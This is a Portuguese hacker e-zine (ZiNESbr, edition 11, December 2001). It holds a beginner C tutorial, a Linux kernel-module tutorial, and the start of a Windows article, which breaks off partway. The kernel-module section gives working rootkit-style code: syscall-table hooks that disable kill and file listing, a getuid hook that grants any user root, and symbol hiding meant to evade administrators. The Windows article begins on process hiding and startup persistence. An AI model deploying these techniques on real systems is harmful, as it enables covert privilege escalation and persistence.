                  ESPECIAL DE NATAL (h0h0h0h0...)

o..................................................................o
.ZZZZZZZZZZ  ..  NNNn    nNN EEEEEEE   sSSSSSS  bb        rrrrrrrr . 
.ZzZ   ZZ    ""  NN NN    NN EEeeeee  sSSS  sSs bb         rr   rr . 
.Zz   ZZ     ii  NN  NN   NN EE       sSS       bbB        rrrrrrr .  
.    ZZ      ii  NN   NN  NN EEeE       sSS     bbbbbbbbb  rrrr    .    
.   ZZ   zZ  ii  NN    NN NN EE           sSS   bb   Bbbb  rr rr   .
.  ZZ   ZzZ  ii  NN     NNNN EEeeeee SSs  sSSS  bbB   bbb  rr  rr  . 
.ZZZZZZZZZz iiii NNn     nNN EEEEEEE  sSSSSSs   bbbbbbbbb rrr   rr .
o..................................................................o

Inf0s:

                .:x| Revista Virtual ZiNESbr   |x:.
                .:x| Edicao: 11                |x:.
                .:x| Data: 25/12/2001          |x:. NATAL :)
                .:x| #ZiNESbr - Rede BrasNET   |x:.
                .:x| http://zinesbr.hpg.com.br |x:.
                .:x| zinesbr@ieg.com.br        |x:.

                
    Esta revista custa R$00,00, ou seja, eh Free!! Eh publicada no 
nosso site http://zinesbr.hpg.com.br. Nao temos data de entrega, ela 
eh publicada assim que fica pronta!
    Distribua livremente... copie, recorte ou cole! Mas por favor, 
mantenha os creditos originais dos respectivos autores!
    Obrigado.
 
             
 _________   ___
|         | |   |
| ZiNESbr |.|hpG|
| @#!?.* | |===|       Melhor visualizado no WordPad/Edit do Windows
|_________| |___|                 ou no Vi/Pico do Linux.
     ||         
.----------.  _/
|__________| (_)
          

Msg desta Edicao:
--- ----- -------
Um feliz Natal para todos, principalmente para as pessoas que me
ajudaram na fundacao do ZiNESbr, sao eles: Kbytes, Glomer e
d4em0n. E para as pessoas que me ajudam hoje em dia!! Obrigado a 
todos! Ahhh, e um feliz ano novo pra vcs!

_____________________________________________________________________
'''''''''''''''''''''''''''''''''ZinesBr'''''''''''''''''''''''''''''
         *INDICE*                                   *AUTOR*

<<[00][ Introducao                             ][   Gotoxy    ][00]>>
<<[01][ Zinesbr Offtopic                       ][   Gotoxy    ][01]>>
<<[02][ C para iniciantes                      ][   Gotoxy    ][02]>>
<<[03][ Programacao em LKM                     ][   Gotoxy    ][03]>>
<<[04][ Truques de Programacao p/ Win          ][    hts      ][04]>>
<<[05][ Cursinho de Linux 11                   ][   Gotoxy    ][05]>>
<<[06][ Basico de C IV                         ][   Gotoxy    ][06]>>   
<<[07][ Log's Cleaner                          ][   Gotoxy    ][07]>>  
<<[08][ OS Fingerprint                         ][   Gotoxy    ][08]>>
<<[09][ Backdoors Parte V                      ][   Gotoxy    ][09]>>
<<[10][ CryptBR v1.0                           ][   Gotoxy    ][10]>>
<<[11][ Criando sites em CGI/Perl              ][   Backz     ][11]>>
<<[12][ Manifesto!!!                           ][   Gotoxy    ][12]>>
<<[13][ Ultimas palavras                       ][   Gotoxy    ][13]>>
_____________________________________________________________________
'''''''''''''''''''''''''''''''''ZinesBr'''''''''''''''''''''''''''''


SETOR [0x00]
==[ Introducao ]==
==[ por Gotoxy ]==

     Falaeee!! Enfim a edicao 11 ficou pronta!! ela demorou um pouco para
sair por uns motivos aeh (falta de materia, etc),mas o que importa eh que
ela ja esta no ar, e como sempre , vindo com muita informacao pra  galera 
que gosta de aprender! Ficou poucas materias,pq eu queria que esta edicao 
saisse no natal! :) Espero na edicao 12 vir com muito mais informacao!!!!

     O Kbytes deixou de ser o WebDesign do site, porque ele esta mechendo
com uma outra HP de sua autoria, e a ele  nao tem tempo mais para mecher
com o site do ZinesBR. Eh Kbytes, valeu por tudo!!  Voce  foi  um  grande
contribuidor para o zine, ajudou bastante!! Valeu  mesmo!!:) Calma,  isso
nao esta sendo um ADEUS PRO KBYTES, eu ainda vejo ele, as vezes  ele fica
uns 5 minutos no #zinesbr (isso por falta de tempo)..:)

     Mas, e agora?? Ficamos sem WebDesign? Nahh!!  Apareceu  um  loko que
resolveu ajudar com o site!!:) Seu nome eh Suke, mais conhecido como Suke
(duh! :p). Eh isso ae, de agora em diante o Suke sera o novo webmaster do 
ZinesBr! 

     E como podem perceber tambem, mudei um pouco o visual do zine! Muito
pouco mesmo, soh mudei pq o site mudou..:p    

     Mais uma vez peco a todos voces: mandem textos!! Vcs nao fazem ideia
de quanto eh dificil para mim fazer o zine! "Porque voce nao para entao?"
Se eu parar, vou estar prejudicando a muitos, inclusive  a  mim! Por tais
motivos, o zine deve continuar! Apesar de alguns ajudarem, ainda  nao  eh
o suficiente!! Se continuar do jeito que esta, o final  da historia  sera
a obvia: o zine acabar!!! voces kerem isso? Eu tb nao!:) Portanto amigos,
ajudem!! Bem, aguardo por coolaboracoes!

     Para esta edicao, as  pessoas  que  me  ajudaram  foram  poukisimas. 
Obrigado a todos vcs que me ajudaram! Mas eu ainda preciso de  mais ajuda 
pessoal. Sem ajuda, a zine vai ficar fraca e assim nao passara muita info 
util.Portanto, ajudem o ZiNESbr! :)

     Para voce mandar alguma materia para o zine, basta  acessar o  nosso
site (zinesbr.hpg.com.br). Entre no link 'Enviar materia' e lah  voce vai 
encontrar um formulario.Ou entao basta voce enviar o seu texto para o meu 
email: gotoxy@linuxbr.com.br

     Chega de falar "bobagens". Leia agora a parte  tecnica do  zine!! Se 
divirta com a edicao 11, que esta vindo  com mais informacao,  envolvendo
a seguranca, e principalmente, o hacking! 

   Boa leitura meu caro! Lembre-se: leia tudo!! toda  informacao  eh  bem 
vinda!! =]

   FalwzZZZ!!
Gotoxy.
                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x01]
==[ ZiNESbr Offtopic ]==
==[ por Gotoxy       ]==

#############
# Assunto 1 #
#############

Novo Zine!
----------

   Novo zine na area! Desta vez, um zine sobre a linguagem C e programacao
em geral. Seu nome eh The C'Zar (pronuncia-se Kizar)
   Voce pode encontrar ele no seguinte site: www.geocities.com/cszine
O Autor eh o C/ROMANO!
   Ele esta precisando de escritores! Se voce eh um bom programador, 
ajude-o com o zine!!:)


#############
# Assunto 2 #
#############

Links e Emails
--------------

   Tirei a secao de Links e de Emails. Se voce mandar algum email, ele
sera respondido, mas nao aki no zine. 
 


#############
# Assunto 3 #
#############

ZiNESbr de Ferias! - Feliz Natal!
---------------------------------

   Assim,... passei de ano!! Agora ano que vem (2002) vou estar
cursando o primeiro ano do segundo grau!! Vou tentar passar no
cefet-mg, ate comecei a fazer cursin no orvile carneiro!! :P
   Onde keru chegar? :) Bem, tenho q estudar muito em Janeiro,
pois a prova eh dia 27.01.02. Enfim, como em janeiro eh mes
de descanso para os estudantes e trabalhadores(nem todos...),
resolvi descansar o zinesbr um pouco!! Portanto, ZiNEsbr esta
de ferias pessoal!! 
    Em Fevereiro (04.02.02), ZiNESbr vai estar de volta!! Aguardem 
um pouco, e descansem bastante nestas ferias! 

Desejo a todos um feliz natal! E desejo tb um feliz ano novo!! Se
divirtem bastante!! 
 
   Ahh!! win-users, cuidado com o virus 'natal'! Ele se ativara dia
24 de dezembro `as 24:00, ou melhor, dia 25 `as 00:00! Todo cuidado
eh pouco... :)  


                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x02]
==[ C para iniciantes ]==
==[ por Gotoxy        ]==

  Ae.. vou falar um pouco sobre C!! Lembro que recebi um email a pouco
tempo de uma pessoa perguntando o que era C, portanto quero deixar
bem claro o que eh para todos os leitores.. 
  Esse txt eh destinado aos leitores que estao comecando a aprender C!!
O comeco mesmo, o comecinho!! Se voce sabe usar printf(), nao eh 
necessario a leitura da mesma! =] 
  Eh altamente recomendado que voce leia o setor 02 da Edicao 01 do
Zinesbr! La eu expliquei muita coisa, que caso voce nao entenda aki,
voce pode entender la, e vice-versa.
  Antes de ler este texto, sinta-se bem relaxado.. deixe para ler
numa noite onde voce nao tem nada pra fazer! Assim voce vai aprender
tudo bem rapidinho =]
  Basicamente eh issu....

#############
O que eh C???
#############

  Resumidamente: C eh uma linguagem de programacao!! Ou seja,
eh uma lingua (nao portuguesa, lingua de computador) onde vamos
escrever codigos! Esses codigos podem ser escritos em varias
linguagens.. aki vou estar falando de C, mas voce pode escrever
esses codigos em Visual Basic, ou Pascal, ou Delphi etc. Ps:
esses nomes citados sao outras linguagens de programacao!!
  Entao vamos usar a linguagem C para fazer programas! q tipo
de programa? qlq tipo de programa, voce pode criar desde uma
calculadora ate poderosos programas (como por exemplo um sistema
operacional (o Windows eh um SO, o Linux eh outro, etc).
  Programar em C, requer algumas coisas... veremos issu logo
abaixo...

#################
Du ke eu preciso?
#################

  Bem.. para voce programar em C voce vai precisar de um
compilador!! Q diabos eh isso? Bem, compilador eh simplesmente
um programa que vai ler todo o codigo (ou source ou fonte) do
programa escrito pelo programador, e depois que ele (o compiler)
ler todo o codigo, ele vai converter para codigo de maquina
(= codigo-objeto ou codigo binario).
   Quando compilamos um programa, ele se torna uma linguagem
de makina! Isso eh necessario porque o computador nao compreende 
as linguagens de baixo nivel (como Assembly), alto nivel (como
pascal) e medio nivel (como no caso C). Ele compreende apenas o 
modo binario (akeles 0's e 1's).

   Ps: O C eh uma linguagem de medio nivel porque usa funcoes de 
baixo e alto nivel. De alto nivel porque o C eh uma linguagem 
estruturada (como Pascal) ... e de baixo nivel porque possui instrucoes
proximo da makina (assembly).   

   Um bom compilador eh o Turbo C! Pegue a versao 3.0!!!!!!
Eu comecei a programar utilizando ele e recomendo voce comecar
usando ele tambem.. Voce pode baixa-lo no seguite site:
http://www.geocities.com/causanobre/compiladores/tc30.zip
   Mas se voce ja quiser um compilador mais avancado, recomendo
pegar o DEV-C++! Voce pode encontra-lo no seguinte site:
http://www.bloodshed.net/devcpp.html

#########
E agora??
#########

Turbo C...

   Depois de ter downloadado ele, basta agora instalar! Depois
de instalado, basta acessar o diretorio c:\tc\bin e depois
digitar tc (sem aspas) no terminal seguido de [enter].
   Prontu, com voce dentro do Turbo C basta agora escrever
o codigo do seu programa.
   Vamos entao aprender a construir o primeiro programa!


####################
Meu primeru programa
####################

  Escreva o seguinte codigo:

---- cut here ----
#include <stdio.h>
#include <conio.h>

main(){
clrscr();
printf("Este eh meu primeiro programa!\n");
}
---- cut here ----

**** Explicacao:

  stdio.h e conio.h sao bibliotecas que os compiladores ja trazem
por padrao! Sao simplesmentes arquivos textos, e cada biblioteca
(tb conhecida como header file (arquivo de cabecalho) ou simplesmente
header) possui em seu codigo diversas funcoes. Estamos utilizando
o header stdio.h para usarmos a funcao printf(), que eh uma funcao
usada para imprimirmos msgs na tela! E estamos usando o header conio.h 
para usarmors a funcao clrscr(), que eh uma funcao usada para limpar
a tela! Cada header possui varias funcoes ja prontas,.. por exemplo
o header stdio.h, algumas funcoes dele sao: printf(), scanf(), fread(), 
fseek(), getw(), etc... Voce pode ver todos os headers no diretorio
c:\tc\include. Depois que voce olhar, vai ver que existe muitos la...
Calma!! Voce nao tem que saber de todos agora, no decorrer do seu
aprendizado, voce vai aprendendo.. 
  Comandos processados durante a compilacao do programa sao conhecidos 
como diretivas de compilacao. Essas diretivas sao iniciadas por um #
(sustenido). A diretiva #include informa ao compilador que ele esta
incluindo um header, e este header fica entre < > (caso o header esteja
no diretorio padrao, q eh c:\tc\include). 
  main() eh uma funcao!  a funcao principal de um programa escrito
em C. Sempre que voce for fazer um programa, deve obrigatoriamente
inclui-la. Ela eh a primeira a ser chamada quando o programa (depois
de compilado) eh executado. O conteudo da funcao eh delimitado
por "{ }" (chaves). O codigo que estiver dentro das chaves sera executado
sequencialmente quando a funcao for chamada.
  Na funcao printf(), voce percebe que tem um \n, isso significa
quebra de linha (que equivale a um [ENTER]. Leia a edicao 01 do Zinesbr
no Setor 02.. la voce tem a explicacao de cada um deles (pois possui
outros, tais como \t, \b etc). Ps: o \ de \n, \t, etc eh conhecida
como constante.. o N de \n significa new line, ou seja nova linha, ou
seja, eh a mesma coisa que quebrar uma linha ou ate mesmo apertar [ENTER].

**** Fim de Explicacao

  Acho que deu para voce entender +/- .. Rodando o programa acima,
voce ja sabe o que vai acontecer? Pense um pouco... se sua resposta
for: "este simples programa vai limpar a tela e depois vai imprimir
a frase "Este eh meu primeiro programa!" - voce esta certissimo!!
  
  O C possui varias funcoes ja prontas (elas ficam armazenadas nas
bibliotecas (stdio.h, stdlib.h, conio.h, etc)... eu nao vou explica-las 
aki (pelos menos neste texto nao) porque sao muitas.. ao longo de
seus estudos, voce vai aprendendo devagar! Voce tambem pode criar
bibliotecas e criar suas proprias funcoes.. De uma olhada na edicao
08 do Zinesbr na Secao Basico de C III, la voce tera mais informacoes
como criar seu proprio header.

  Apos voce analisar o primeiro exemplo de um programa escrito em C,
tente agora escreve-lo (mas sem colar!!:) Assim pouco a pouco voce
vai memorizando...

  Acho que voce ja sabe, mas novamente eu vou recordar sua memoria:

main() -> funcao principal, eh a primeira a ser chamda, o uso dela
          eh obrigatorio!
printf() -> funcao usada para imprimir strings (conjunto de caracteres)
clrscr() -> funcao usada para limpar a tela, equivale ao comando "cls"
            do Ms-Dos.


  Entao ate aki voce ja sabe o que sao bibliotecas, etc. Ou nao? 
O stdio.h eh uma biblioteca, nela, existe varias funcoes ja definidas,
como por exemplo a funcao printf(), essas bibliotecas servem para
economizar o tempo do programador. 


###################
Onde aprender mais?
###################

  Voce pode pegar o curso de C que esta no site da www.olinux.com.br,
com ele voce vai aprender muita coisa.
  Um outro tutorial bom eh o da UFMG, voce pode pegar ele atraves do
site: http://ead1.eee.ufmg.br/cursos/C
  Ahh! Tem um novo zine ae na area, cujo nome eh Kizar!! Voce pode
encontrar ele em: http://www.geocities.com/czzine - Na secao Downloads
deste site, voce encontra mais tutoriais de C (inclusive o da Olinux
e da UFMG). Esse zine eh dedicado a linguagem C.
  Um bom livro que eu recomendo (pois todo mundo que compra ele diz
que eh um otimo livro) eh o C Completo e Total.

Eh issu! 

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x03]
==[ Programacao em LKM ]==
==[ por Gotoxy         ]==

############################
Programacao em LKM - parte I
############################


1 - INTRO
---------

  Neste texto pretendo tirar duvidas dos fucadores que estao comecando
a programar em LKM... pois programar em lkm eh uma coisa que requer
muita pratica.. 
  Nao eh nada simples, sempre devemos estar estudando codigos fontes de 
programas escritos nessa linguagem... 
 Para vc aprender a programacao em loadable kernel modules, voce deve ter 
conhecimentos em C e Linux... pois isso eh a base para voce entender
a programacao em LKM.


2 - LKM <LOADABLE KERNEL MODULES>
---------------------------------

Em C, devemos ter a funcao main() declarada obrigatoriamente... pois
a funcao main eh a primeira a ser chamada e portanto deve ser declarada..
apos ela ser chamada, as outras funcoes (caso tenha outras) sao
chamadas.. (na ordem em que elas estiverem la..).. em LKM, temos duas
funcoes.. que eh a init_module e a cleanup_module... na primeira funcao,
temos as acoes que vao ocorrer quando o modulo for carregado.. e a outra
funcao sao as acoes que vai acontecer quando o modulo for descarregado..
para entender isso melhor, eh soh dando um exemplo mesmo.. mas antes de
dar o exemplo, que fique claro em sua kbca algumas coisas: A memoria esta 
dividida em duas partes: Kernel Space e User Space. LKMs trabalham no 
Kernel Space, isso eh programacao no modo kernel. Ja o User Space eh a area 
da memoria destinada aos usuarios. Portanto: quando voce esta programando 
em LKM, voce esta interagindo com a area da kernel (KernelSpace), e quando 
vc esta programando em C,vc esta interagindo na area dos usuarios (UserSpace)

Abaixo segue o exemplo 1 de nosso LKM:

/* um.c *
#define __KERNEL__
#define MODULE
#include <linux/module.h>

init_module(){
printk("<1>CARREGADO\n");
return 0;
}
cleanup_module(){
printk("<1>DESCARREGADO\n");
}
/* fim */

Teste ela no seu sistema... para compilar eh 
gcc -c -O3 um.c 
Para carrega-lo no sistema basta digitar 
insmod um.o
E para descarregar, basta digitar
rmmod um

** explicacao do codigo
 
- akeles dois #defines sao necessarios... sempre que for fazer qlq 
  modulo, inclua-os em seu codigo

- akele #include eh a basica.. sempre eh necessaria vc ter ela em 
  em seu codigo.. para ter uma ideia dela, visualize-a: 
  vi /usr/include/linux/module.h

- init_module() -> funcao que eh chamada quando o modulo eh carregado

- printk() -> funcao similar ao printf() do C.. ela serve para 
  imprimir msgs na tela.. akele <1> indica a urgencia q essa msg
  deve aparecer.. nunca se eskeca de por ele.. vc pode por <0> tb..

- o return usado ali eh para indicar que nada sera retornada.. se vc
  conhece C nao tera duvidas nisso...

- cleanup_module() -> funcao que eh chamada quando o modulo eh descarregado

- apos isso, novamente aparece a funcao printk() avisando que o modulo
  esta sendo DESCARREGADO

** fim da explicacao


Quando ele estiver carregado, digite lsmod (comando usado para
listar os modulos carregados no sistema), voce vera que ele (o
'um') vai aparecer la no topo:

~# lsmod

Module                  Size  Used by
um                       248   0  (unused)
soundcore               2340   5  [sb sound]


Module -> indica o nome do modulo
Size -> indica o tamanho desse modulo (em bytes)
Used by -> indica a frequencia que esse comando eh usado no
           sistema.. o que esta entre parentes eh tipo uma
           pekena descricao do modulo

Ps: voce soh pode descarregar um modulo quando estiver 0(zero)
    no Used By! Caso contrario, nao sera possivel..veja:

~# rmmod soundcore
soundcore: Device or resource busy


Quando carregamos algum modulo, uma informacao eh levada para o
arkivo /proc/ksyms... isso eh conhecido como Kernel-Symbol-Table, ou
seja, Tabela de Simbolos do Kernel
tudo o q estiver nesse arkivo (/proc/ksyms), significa q o nosso
LKM pode acessar e modificar algo la... eu vou falar mais disso
depois.. nao se preocupe agora com isso nao.. se preocupe apenas
com uma coisa... como eu ja disse, quando carregamos um modulo no
sistema, essa informacao eh levada ao arkivo /proc/ksyms.. veja
abaixo o inicio do arkivo /proc/ksyms quando eu carreguei o um.o:

c185c077 __insmod_um_S.rodata_L17       [um]
c185c054 __insmod_um_S.text_L35 [um]
c185c000 __insmod_um_Oum.o_M3BCB1E7D_V131600    [um]

se um admim experiente ver isso, ele vai logo querer retirar esse
modulo "estranho" que esta carregado no sistema.. portanto, bye
bye modulo.. porem, existe um meio de sair disso!! eh usando
"EXPORT_NO_SYMBOLS;" no codigo do seu modulo!! basta incluir essa 
linha na funcao que eh executada quando carregamos o modulo (insmod
modulo.o), ou seja, a funcao init_module();

ficando dessa maneira o novo um.c:

/* new_um.c */
#define __KERNEL__
#define MODULE
#include <linux/module.h>

init_module(){
EXPORT_NO_SYMBOLS; /* com isso, nao exportaremos nada... */
printk("<1>CARREGANDO...\n");
return 0;
}
cleanup_module(){
printk("<1>DESCARREGANDO...\n");
}
/* fim */

Para compilar eh a mesma coisa (gcc -c -O3 new_um.c) e para
carregar e descarregar tb eh a mesma coisa (insmod e rmmod
respectivamente).

  Para voce fazer programas legais em LKM, voce deve conhecer as
Systemcalls! 
  Todos os sistemas operacionais ja vem com algumas funcoes ja
prontas no kernel, essas funcoes sao usadas por toda operacao
realizada no sistema. No Ms-dos, voce tem as interrupcoes. No Linux 
essas interrupcoes sao conhecidas como SystemCalls (Chamadas de Sistema). 
Isso consiste na transicao do User Space para o Kernel Space! Assim como
eu ja disse, User Space se refere a programacao em C padrao enquanto
Kernel Space se refere a programacao em modo Kernel. Por exemplo: imprimir
um texto na tela (printf()) no User Space, eh representado pela systemcall
__NR_write (ou SYS_write) no Kernel Space; Abrir um arquivo(fopen()) no User 
Space eh representado pela systemcall __NR_open (ou SYS_open) no Kernel Space.
  Essas chamadas ao sistema sao realizadas usando a interrupcao 0x80.
  Voce pode encontrar a lista completa de todas as systemcalls que o seu
sistema possui em: /usr/include/bits/syscall.h. Neste arkivo voce encontra
as systemcalls que eram usadas em versoes antigas da kernel. Agora para vc
ver ver apenas as systemcalls da kernel mais atual, basta editar o arkivo
/usr/include/asm/unistd.h. Mas voce pode usar dos dois jeitos, use do
jeito que vc achar melhor.
  Do jeito antigo, eh SYS_write e do jeito novo eh __NR_write 
Ps: peguei a do write apenas como exemplo.. todos seguem essa mesma rotina

Abaixo segui um pedacu do meu /usr/include/asm/unistd.h:

#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
 * This file contains the system call numbers.
 */

#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_read                 3
#define __NR_write                4
#define __NR_open                 5
#define __NR_close                6
#define __NR_waitpid              7
#define __NR_creat                8
#define __NR_link                 9
#define __NR_unlink              10
#define __NR_execve              11
#define __NR_chdir               12
#define __NR_time                13
#define __NR_mknod               14
#define __NR_chmod               15
...

  Repare que cada systemcall tem um numero definido (no lado direito)..
cada numero corresponde a uma systemcall, por exemplo, o numero 15,
corresponde a systemcall __NR_chmod... Esses numeros, eh uma indexacao
em uma array de uma estrutura sys_call_table[]. Esta estrutura procura
o numero da systemcall para o servico necessario da funcao.
  
  Abaixo segue um exemplo de tudo que vimos ate agora:

/* dois.c - by gotoxy */
#define __KERNEL__
#define MODULE

// headers necessarios

#include <linux/module.h>
#include <linux/mm.h>
#include <sys/syscall.h>

// acesso a tabela de system calls
extern void* sys_call_table[];

// backup da funcao hackeada __NR_kill
int (*old_kill)();

// hackeia o __NR_kill
new_kill(){
return 0;
}

init_module(){
old_kill = sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = new_kill;
return 0;
}
cleanup_module(){
sys_call_table[__NR_kill] = old_kill;
}
/* eof */

bash~# gcc -c -O3 dois.c
bash~# insmod dois; ps 
 PID TTY          TIME CMD
  278 tty1    00:00:00 ps
  273 tty2    00:00:00 more

bash~# kill -9 273; ps
 PID TTY          TIME CMD
  278 tty1    00:00:00 ps
  273 tty2    00:00:00 more

  Como podem observar, o kill nao funciona! Um admin com certeza
iria ficar muito puto caso nao consegui-se kilar algum processo!
  
** explicacao do codigo 

-  dois novos headers foram adicionados: mm.h e syscal.h, ambos
   sao necessarios para que o modulo funcione corretamente. o
   header mm.h, serve para trabalharmos com o gerenciamento de
   memoria, e o header syscall.h, serve para trabalharmos com as
   systemcalls!

-  a linha 'extern void* sys_call_table[];' eu ja expliquei, mas
   caso ainda haja duvidas eu explico denovo. Esse codigo eh um
   prototipo para acessarmos a tabela externa de systemcalls.

-  a linha de codigo 'int (*old_kill)();' serve para salvarmos o
   systemcall __NR_kill antigo. Pois nos keremos que o kill retorne
   outra coisa... e essa outra coisa nos definimos em... (leia abaixo)

-  a linha de codigo 'new_kill(){' eh uma funcao que criamos para
   dizer ao kernel q queremos que quando o kill for chamado, nao
   haja nenhum retorno desse comando.. ou seja, o kill nao vai 
   funcionar quando execurtamos ele para kilar algo, como por exemplo
   um processo.

-  Depois, temos o seguinte:

   init_module(){
   old_kill = sys_call_table[__NR_kill];
   sys_call_table[__NR_kill] = new_kill;
   return 0;
   }
   
   a primeira linha, voce ja sabe o que eh!

   na segunda linha, o que fazemos eh simplesmente apontar o backup
   da funcao __NR_kill para onde ela esta, que eh em 
   sys_call_table[__NR_kill];

   bem, agora que ja salvamos o antigo __NR_kill, ja podemos fazer
   o novo __NR_kill! a terceira linha eh justamente isso, nela, o
   q fazemos eh a apontar o systemcall __NR_kill para a nossa nova
   funcao, que eh new_kill.

-  Depois, temos:

  cleanup_module(){
  sys_call_table[__NR_kill] = old_kill;
  }

  a primeira linha voce ja sabe o que eh!

  na segunda linha, o que fazemos eh simplesmente voltar para o 
  antigo __NR_kill! Sim.. akele funciona corretamente na hora de
  kilar algo!! essa linha entao consiste em fazer o __NR_kill
  hackeado apontar para o old_kill(ou seja, o original)

** fim de explicacao


  Como voce ja sabe, existe um tanto de systemcalls! Voce pode
consulta-las atraves do arkivo /usr/include/asm/unistd.h
  Voce deve conhecer a funcao de cada uma delas, para assim ter
mais conhecimento em LKM! No decorrer dos tutoriais, eu vou
ensinando como usar as mais importantes...

  Abaixo eu vou falar de um syscall muito importante, conhecido
como __NR_getuid. Atraves dele podemos trabalhar com UID, GID,
EUID, etc... Segue entao um exemplo para demonstrar o tao 
poderosa que ela eh:
  
/* tres.c - by gotoxy*/
#define __KERNEL__
#define MODULE

// headers necessarios

#include <linux/module.h>
#include <linux/mm.h>
#include <sys/syscall.h>

// prototipo para a chamada da tabela externa de systemcalls 
extern void* sys_call_table[];

int (*old_getuid)();

// aki temos o nosso novo getuid, o que ele vai fazer entao
// eh mudar todos os uid,gid e euid diferentes de 0 para 0!
// ou seja, teremos root!

new_getuid(){
if(current->uid != 0){
current->uid = 0;
current->gid=0;
current->euid=0;
}
return 0;
}

init_module(){
old_getuid = sys_call_table[__NR_getuid];
sys_call_table[__NR_getuid] = new_getuid;
printk("<0>\n");
printk("<1>LKM carregada com exito!!\n");
printk("<0>\n");
printk("<1>por Gotoxy para texto de LKM\n");
printk("<0>\n");
return 0;
}

cleanup_module(){
sys_call_table[__NR_getuid] = old_getuid;
printk("<0>\n");
printk("<1>LKM descarregada com exito!!\n");
printk("<0>\n");
}
/* fim */

  O que este programa vai fazer eh bastante simples.. assim como
no codigo explicao, ele vai tornar um user normal do sistema (que nao
tem privilegios root) root. Teste ele e aprecie o resultado!
  Agora eu vou falar de uma outra syscall, conhecida como
__NR_getdents. Atraves dela, podemos requisitar uma listagem
de arquivos. Um exemplo para demonstrar o tao quao ela eh
poderosa segue abaixo!

/* quatro.c - by gotoxy */
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/mm.h>
#include <sys/syscall.h>

extern void* sys_call_table[];

int (*old_getdents)();

new_getdents(){
printk("<1>Voce esta proibido de listar arquivos!!\n");
return 0;
}

init_module(){
old_getdents = sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents] = new_getdents;
printk("<1>LKM carregado\n");
return 0;
}
cleanup_module(){
sys_call_table[__NR_getdents] = old_getdents;
printk("<1>LKM descarregado\n");
}
/* eof */

  Como pode observar, atraves deste LKM, quando esta carregado,
voce ficara impossibilitado de listar os arquivos! Poderoso
isso nao?!
  E abaixo segue o ultimo exemplo de LKM neste tutorial.. ele
apenas demonstra que eh possivel utilizar o novo e o velho metodo
para usar systemcall (usando sys_name ou __NR_name)... E aki
tem uma nova systemcall, que eh a __NR_mkdir, que eh a systemcall
usada para criar um diretorio!

/* last.c - by gotoxy */
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/mm.h>
#include <sys/syscall.h>

extern void* sys_call_table[];

int (*old_kill)();
int (*old_mkdir)();
int (*old_ls)();

new_mkdir(){
return 0;
}
new_ls(){
return 0;
}
new_kill(){
return 0;
}

init_module(){
old_kill = sys_call_table[SYS_kill]; /* jeito velho */
sys_call_table[SYS_kill] = new_kill;
old_mkdir = sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir] = new_mkdir;
old_ls = sys_call_table[__NR_getdents]; /* jeito novo */
sys_call_table[__NR_getdents] = new_ls;
printk("<1>LKM carregado com exito!!\n");
printk("<1>by Gotoxy!\n");
return 0;
}

cleanup_module(){
sys_call_table[SYS_kill] = old_kill;
sys_call_table[SYS_mkdir] = old_mkdir;
sys_call_table[__NR_getdents] = old_ls;
printk("<1>LKM descarregado com exito!!\n");
return 0;
}
/* eof */

  Com este LKM, voce ficara impossibilitado de listar arquivos,
criar diretorios e kilar alguma coisa, como um processo, por
exemplo.



3 - CONCLUSAO
-------------

  Vou terminando por aqui... em breve publico a segunda parte...
como essa eh a primeira, vc conheceu apenas algumas coisas
basicas.. pretendo em tutoriais futuros aprofundar mais nesse
assunto... 

  Programar em LKM eh muito importante para um fucador e sendo 
assim voce deve aprender!! sim, eu sei q eh um pouco dificil, mas 
depois de um tempo voce acostuma e chega um dia que voce ja esta 
criando poderosas rootkits... no segundo tut, vou publicar mais 
exemplos para voces estudarem.. tenho uma porrada aki de minha 
autoria.. e q com certeza vai te auxiliar bastante em seu estudo...
 
  Temos muita coisa a aprender ainda!! leia varias vezes essa 
primeira parte (caso tenha duvidas..), porque se voce nao pegar o 
basico, nao vai conseguir pegar o resto da materia!! portanto, 
estude bastante!! 

  A base deste texto foi atraves de consultas ao tutorial feito
por pragmatic da THC (The Hackers Choice). Pegue a versao em
portugues no site da unsekurity (unsekurity.virtualave.net)

Ate a proxima! =]

ObS: Qlq duvida, mail-me!!

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [0x04]
==[ Truques de Programacao p/ Win ]==
==[ por hts                       ]==

'Truques' de programacao para Windows.


1. Introducao.
2. Como esconder um programa do ctrl + alt + del ?
3. Como fazer o programa ser executado a cada inicializacao ?
  3.1 WINAPI: Usando o registro do windows
4. Utilizacao pratica.
5. Finalizacao.


1. Introducao

Bom pessoal, este texto eh uma modificacao do mindtruques.txt original,
especialmente para a zinesbr!
o original pode ser encontrado em:
http://htsr0x.virtualave.net/pub/mindtruques.txt
e
http://unsekurity.virtualave.net/txts/mindtruques.txt

quero aproveitar pra avisar que no lcc, nao vem definido o RSP_SIMPLE_SERVICE
e RSP_UNREGISTER_SERVICE.
se voce tiver problemas compilando, faca:
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0

e tb aproveito pra parabenizar o pessoal da zinesbr!
vcs estao de parabens, excelente zine! :)



2. Como esconder um programa do ctrl + alt + del ?

Uma solucao simples para esconder o programa do ctrlaltdel eh transformar
o programa em um 'service', o windows nao vai mostrar o seu programa no
ctrlaltdel pq ele nao pode ser killado(pois agora ele vai ser classificado como service).
usaremos a funcao REgisterServiceProcess()
se voce consultar a ajuda do winapi(tem no site da microsoft) encontrara isso:


[quote]
The RegisterServiceProcess function registers or unregisters a service process.
A service process continues to run after the user logs off. 

DWORD RegisterServiceProcess(DWORD dwProcessId, 
    DWORD dwType);

Parameters

dwProcessId

Specifies the identifier of the process to register as a service process.
Specifies NULL to register the current process. 

dwType

Specifies whether the service is to be registered or unregistered.
This parameter can be one of the following values. 

Value	Meaning
RSP_SIMPLE_SERVICE	Registers the process as a service process.
